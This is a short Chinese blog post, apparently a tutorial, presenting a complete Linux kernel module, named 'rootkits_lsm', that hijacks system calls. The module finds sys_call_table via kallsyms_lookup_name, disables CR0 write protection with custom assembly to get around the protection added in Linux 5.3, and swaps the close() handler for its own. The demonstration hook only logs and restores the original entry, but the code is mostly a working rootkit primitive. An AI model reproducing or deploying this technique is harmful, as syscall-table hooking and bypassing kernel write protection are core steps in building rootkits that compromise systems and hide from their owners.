Linux内核系统调用劫持之kallsyms

扶醉桌前 提交于 2020-01-19 19:01:11

1.通过kallsyms方式

基于Linux 5.0/Linux5.3 的X86-64系统.

1. 通过kallsyms_lookup_name查找sys_call_table地址.

2. 关闭写保护

3. 修改sys_call_table

Linux5.0上直接调用write_cr0接口,能够顺利的修改CR0寄存器,而内核版本更新到Linux5.3以后,发现对CR0的修改进行了保护,所以这里需要自定义write_cr0的实现,直接从Linux5.0中把相关代码静态编译进入模块中.这样也可以绕过对CR0的保护.

#include<linux/module.h>
#include<linux/printk.h>
#include<linux/kobject.h>
#include<linux/kernel.h>
#include<asm/unistd_64.h>
#include<linux/syscalls.h>
#include<linux/delay.h>
#include<linux/kallsyms.h>
#include<asm/syscall.h>
#include<asm/paravirt.h>

#include <asm/nops.h>
static  unsigned long __lkm_order;

static inline unsigned long lkm_read_cr0(void)
{
	unsigned long val;
	asm volatile("mov %%cr0,%0\n\t" : "=r" (val), "=m" (__lkm_order));
	return val;
}

static inline void lkm_write_cr0(unsigned long val)
{
	asm volatile("mov %0,%%cr0": : "r" (val), "m" (__lkm_order));
}


long (*fake_ptr)(const struct pt_regs*);

 long fake_close(const struct pt_regs* regs)
{
	printk(KERN_ERR"fake close+++++\n");
	return fake_ptr(regs);
}
void disable_write_protection(void)
{
  unsigned long cr0 = lkm_read_cr0();
  clear_bit(16, &cr0);
  lkm_write_cr0(cr0);
}
void
enable_write_protection(void)
{
  unsigned long cr0 = lkm_read_cr0();
  set_bit(16, &cr0);
  lkm_write_cr0(cr0);
}

void get_sys_call_table(void)
{
	unsigned long   sys_close = 0;
        unsigned long   *call_table = 0;
	call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table");
	printk("call_table:%lx",call_table);
	if(call_table)
		sys_close = call_table[__NR_close];
	fake_ptr = sys_close;
	disable_write_protection();
	call_table[__NR_close]=fake_close ;	
	printk("fake_close:%lx,sys_close:%lx,table:%lx",(unsigned long)fake_close,sys_close,call_table[__NR_close]);
        msleep(2000);
        call_table[__NR_close] = fake_ptr;

}

static int __init rootkits_lsm_init(void)
{
	
	get_sys_call_table();	
	
	return 0;
}

static void __exit root_kits_lsm_uninit(void)
{
	printk("hell world lsm uninit\n");
	
}

module_init(rootkits_lsm_init);
module_exit(root_kits_lsm_uninit);
MODULE_LICENSE("GPL");

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!